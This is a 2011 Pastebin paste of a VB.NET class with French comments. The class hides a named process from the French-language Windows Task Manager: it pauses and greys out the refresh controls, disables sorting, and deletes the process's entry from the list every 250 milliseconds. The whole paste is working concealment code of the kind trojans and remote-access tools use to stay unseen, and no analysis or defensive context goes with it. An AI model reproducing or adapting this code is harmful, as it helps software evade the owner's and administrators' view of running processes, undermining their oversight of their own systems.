Advertisement
athackx

Untitled

Apr 17th, 2011
1,912
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 8.37 KB | None | 0 0
  1.     Public Class CacherProc
  2.      
  3.         'Constantes de Microsoft
  4.         Const WM_COMMAND As Int32 = &H111
  5.         Const MF_ENABLED As Int32 = &H0
  6.         Const MF_GRAYED As Int32 = &H1
  7.         Const LVM_FIRST As Int32 = &H1000
  8.         Const LVM_DELETEITEM As Int32 = (LVM_FIRST + 8)
  9.         Const LVM_SORTITEMS As Int32 = (LVM_FIRST + 48)
  10.      
  11.         'Déclaration des fonctions de l'API user32
  12.         Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
  13.         Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Int32, ByVal hWnd2 As Int32, ByVal lpsz1 As String, ByVal lpsz2 As String) As Int32
  14.         Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Int32, ByVal fEnable As Int32) As Boolean
  15.         Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Int32) As Int32
  16.         Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
  17.         Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
  18.         Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal hMenu As Int32, ByVal wIDEnableItem As Int32, ByVal wEnable As Int32) As Int32
  19.         Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Int32, ByVal wMsg As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
  20.      
  21.         Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal hwndLock As Int32) As Int32
  22.      
  23.      
  24.         Dim a As New ArrayList 'la liste virtuelle qui contiendra les processus affichés dans le gestionnaire des tâches
  25.         Dim WithEvents timer As New Timer 'Le timer nous permettra de cacher le programme un certain temps
  26.      
  27.         Public Sub New(ByRef nomProcessus As String)
  28.             _nom = nomProcessus
  29.         End Sub
  30.         Private _nom As String = ""
  31.         Private _cacher As Boolean
  32.         Public Property Cacher() As Boolean
  33.             Get
  34.                 Return _cacher
  35.             End Get
  36.             Set(ByVal value As Boolean)
  37.                 _cacher = value
  38.                 If value = True Then
  39.                     timer.Interval = 250 'intervalle acceptable
  40.                     timer.Start()
  41.                 Else
  42.                     timer.Stop()
  43.                     CacherProcessus("", False)
  44.                 End If
  45.      
  46.             End Set
  47.         End Property
  48.      
  49.         Public Function CacherProcessus(ByVal nom As String, Optional ByVal cacher As Boolean = True)
  50.             '  Try
  51.             Dim lhWndParent As Int32 = FindWindow(Nothing, "Gestionnaire des tâches de Windows") 'on récupère le handle du gestionnaire
  52.             Dim lhWndDialog As Int32 = 0
  53.             Dim lhWndProcessList As Int32 = 0
  54.             Dim lhWndProcessHeader As Int32 = 0
  55.             Dim hMenu As Int32 = GetMenu(lhWndParent) 'on récupère le handle de son menu
  56.             Dim hSubMenu As Int32 = GetSubMenu(hMenu, 2) 'on récupère le handle du sous-menu (affichage)
  57.             Dim hSubSubMenu As Int32 = GetSubMenu(hSubMenu, 1) 'on récupère encore le sous-menu pour "update speed"
  58.             Dim hId1 As Int32 = GetMenuItemID(hSubMenu, 0) 'on récupère l'id de rafraichir
  59.             Dim hId2 As Int32 = GetMenuItemID(hSubSubMenu, 0) 'on récupère l'id de "high update speed"
  60.             Dim hId3 As Int32 = GetMenuItemID(hSubSubMenu, 1) 'on récupère l'id de "normal update speed"
  61.             Dim hId4 As Int32 = GetMenuItemID(hSubSubMenu, 2) 'on récupère l'id de "low update speed"
  62.             Dim hId5 As Int32 = GetMenuItemID(hSubSubMenu, 3) 'on récupère l'id de "paused update speed"
  63.      
  64.             'si on souhaite cacher
  65.             If cacher = True Then
  66.                 Dim compteurProcessus, indexProcessus As Int32
  67.                 Dim processusCourant As String, p As New Process, Processus() As Process
  68.      
  69.                 For i As Int32 = 1 To 7 'on parcoure les 7 fenêtres enfants
  70.                     lhWndDialog = FindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
  71.                     If lhWndProcessList = 0 Then lhWndProcessList = FindWindowEx(lhWndDialog, 0, "SysListView32", "Processus") 'on récupère le handle de la liste
  72.                     If lhWndProcessHeader = 0 Then lhWndProcessHeader = FindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing) 'on récupère le handle du header
  73.                 Next
  74.      
  75.                 SendMessage(lhWndParent, WM_COMMAND, hId5, 0) 'Clique sur "paused update speed"
  76.      
  77.                 EnableMenuItem(hMenu, hId1, MF_GRAYED) 'désactive l'actualisation
  78.                 EnableMenuItem(hMenu, hId2, MF_GRAYED) 'désactive la vitesse d'actualisation (élevée)
  79.                 EnableMenuItem(hMenu, hId3, MF_GRAYED) 'désactive la vitesse d'actualisation (normale)
  80.                 EnableMenuItem(hMenu, hId4, MF_GRAYED) 'désactive la vitesse d'actualisation (lente)
  81.                 EnableMenuItem(hMenu, hId5, MF_GRAYED) 'désactive la pause de l'actualisation
  82.      
  83.                 EnableWindow(lhWndProcessHeader, 0) 'désactive le header processus,il ne pourra pas être retrié par l'utilisateur
  84.      
  85.                 If a.Count > 0 Then a.Clear() 'on réinitialise la liste
  86.      
  87.                 Processus = Process.GetProcesses() 'on récupère les processus
  88.      
  89.                 For Each p In Processus  'on ajoute chaque processus à la liste
  90.                     compteurProcessus += 1
  91.      
  92.                     If p.SessionId = 1 Then 'si l'ID = 1 i.e. si le processus est affiché dans le gestionnaire
  93.                         a.Add(p.ProcessName.ToString) 'on l'ajoute à la liste virtuelle
  94.                     End If
  95.      
  96.                 Next p
  97.                 a.Sort() 'on trie notre array comme dans le gestionnaire pour pouvoir récupèrer et cacher le bon processus
  98.      
  99.                 'à présent on note l'index du processus recherché
  100.                 For z As Int32 = 0 To compteurProcessus - 1
  101.                     If z >= a.Count Then
  102.                         Exit For
  103.                     End If
  104.                     processusCourant = a.Item(z).ToString
  105.                     If processusCourant = nom Then 'si on a trouvé le processus
  106.                         indexProcessus = z 'on récupère son index
  107.                     End If
  108.      
  109.                 Next
  110.      
  111.                 LockWindowUpdate(lhWndProcessList) 'verrouille la fenêtre pour l'empêcher de se mettre à jour pour éviter le scintillement
  112.                 SendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'clique automatiquement sur rafraichir
  113.                 SendMessage(lhWndProcessList, LVM_SORTITEMS, 0, Nothing) 'trie les éléments
  114.                 SendMessage(lhWndProcessList, LVM_DELETEITEM, indexProcessus, 0) 'supprime le processus voulu de la liste
  115.                 LockWindowUpdate(False) 'déverouille la fenetre
  116.      
  117.              
  118.             Else 'si on réaffiche le processus
  119.      
  120.                 For i As Int32 = 1 To 7 'même méthode qu'avant
  121.                     lhWndDialog = FindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
  122.                     If lhWndProcessList = 0 Then lhWndProcessList = FindWindowEx(lhWndDialog, 0, "SysListView32", "Processus")
  123.                     If lhWndProcessHeader = 0 Then lhWndProcessHeader = FindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
  124.                 Next
  125.                 'on réactive tout
  126.                 EnableMenuItem(hMenu, hId1, MF_ENABLED)
  127.                 EnableMenuItem(hMenu, hId2, MF_ENABLED)
  128.                 EnableMenuItem(hMenu, hId3, MF_ENABLED)
  129.                 EnableMenuItem(hMenu, hId4, MF_ENABLED)
  130.                 EnableMenuItem(hMenu, hId5, MF_ENABLED)
  131.                 SendMessage(lhWndParent, WM_COMMAND, hId3, 0) 'clique sur vitesse d'actualisation normale
  132.                 SendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'clique sur rafraichir
  133.                 EnableWindow(lhWndProcessHeader, 1) 'active le header processsus
  134.             End If
  135.             Return True
  136.      
  137.         End Function
  138.      
  139.         Private Sub timer_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles timer.Tick
  140.             CacherProcessus(_nom) 'cache le proc toutes les N secondes
  141.         End Sub
  142.      
  143.     End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement